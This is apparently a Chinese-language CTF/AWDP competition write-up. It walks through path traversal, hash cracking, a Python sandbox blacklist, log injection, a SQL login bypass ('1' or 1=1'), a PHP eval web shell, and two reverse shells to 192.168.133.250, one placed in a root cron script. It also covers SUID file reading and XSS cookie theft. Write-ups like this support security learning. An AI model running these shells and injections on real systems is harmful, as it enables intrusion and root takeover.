总分100/100 尽力了
AWDP
php-master
Fix
加了个preg_match
过滤.php
和.phtml
blog
Attack
路径遍历,根据报错信息把db文件拿下来,可以看到用户名和hash密码
使用allan
爆破得到密码goldfish
登录之后有个脚本插件,去掉display:none
后尝试执行
显示没有magic_key
利用之前的路径遍历漏洞和报错信息探测访问
/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/models.py
/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py
/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/lib.py
拿到源代码和magic_key
import sys
output = ""
# hook print for easy game
class redirect:
content = ""
def write(self, content):
global output
output = ""
self.content += content
output = self.content
def flush(self):
self.content = ""
def _sandbox_filter(command):
blacklist = [
'object',
'exec',
'sh',
'__getitem__',
'__setitem__',
'import',
'=',
'open',
'read',
'sys',
';',
'os',
'tcp',
'`',
'&',
'base64',
'flag',
'eval'
]
for forbid in blacklist:
if forbid in command:
return forbid
return ""
def sandbox_exec(command):
global output
output = ""
result = ""
sys.stdout = redirect()
flag = _sandbox_filter(command)
if flag:
result = "Found {}".format(flag)
result += '<br>REDACTED'
else:
exec(command)
if result == "":
result = output
return result
绕过过滤即可
ccforum
Attack
username处直接拼接进log
利用了一个trick, 就是
mkdir abc/def
这样的目录会报错
???\n,../../../,record_banned
所以创建如上的用户名, 经过base64加密后会出现/
字符, 也就是形如 abc/def
,这样子触发的报错成功将username拼接
在Title里触发ban,进入log逻辑后伪造\n新日志(恶意用户名处为目录位置)
使用admin身份scandir
后 file_get_contents
任意文件读取
Fix
直接把这个地方进行加密
ISW
Web-Git
目录扫描备份文件泄露和git泄露
backup/www.zip
从git远程的flag分支里拿到flag1
之后使用万能密码登录
1' or 1=1 or '1
分析代码后发现/var/www/html/assets/images/avatars
目录下存在很多图片,其中1.jpg
内容为
<?php
eval($_GET[a]);
同时能看到所有的文件,猜测1.php
为出题人测试解,直接上车
system("%2f%62%69%6e%2f%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%35%30%2f%31%30%30%30%32%20%30%3e%26%31");
反弹shell后提权,用户为低权限apache
,发现用户ryan
andrew:x:1012:1012::/home/andrew:/bin/bash
daniel:x:1013:1013::/home/daniel:/bin/bash
justin:x:1014:1014::/home/justin:/bin/bash
david:x:1015:1015::/home/david:/bin/bash
ryan:x:1016:1016::/home/ryan:/bin/bash
mailuser1:x:1017:1017::/home/mailuser1:/bin/bash
mailuser2:x:1018:1018::/home/mailuser2:/bin/bash
数据库里之前存在的漏洞可以使用sqlmap爆破
拿到明文密码circumstances
su ryan
之后发现家目录下有root权限的del文件,猜测定时任务
直接修改文件
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
os.system('/bin/sh -i >& /dev/tcp/192.168.133.250/10003 0>&1')
except:
sys.exit()
拿到root权限
flag5 是张图片 aim.jpg
flag3 邮件里可以慢慢找
flag4 在/home/gitlab
系统1
扫描端口能发现一个pwn服务
在某端口泄露了pwn文件,分析打完后能写入ssh下的authorized_keys
,ssh上去之后发现base有suid权限
base64 -i /flag | base64 -d
拿到root权限的flag内容
之后利用这个做跳板机,做好代理,进行内网扫描
发现5.023
和5,1
的thinkphp
服务
5.1
没存POC, 5.023
有rasp
时间问题,后面没怎么打了
系统3
外网是一个feedback页面
有xss漏洞,拿到cookie后利用htaccess
文件的解析漏洞,上马拿flag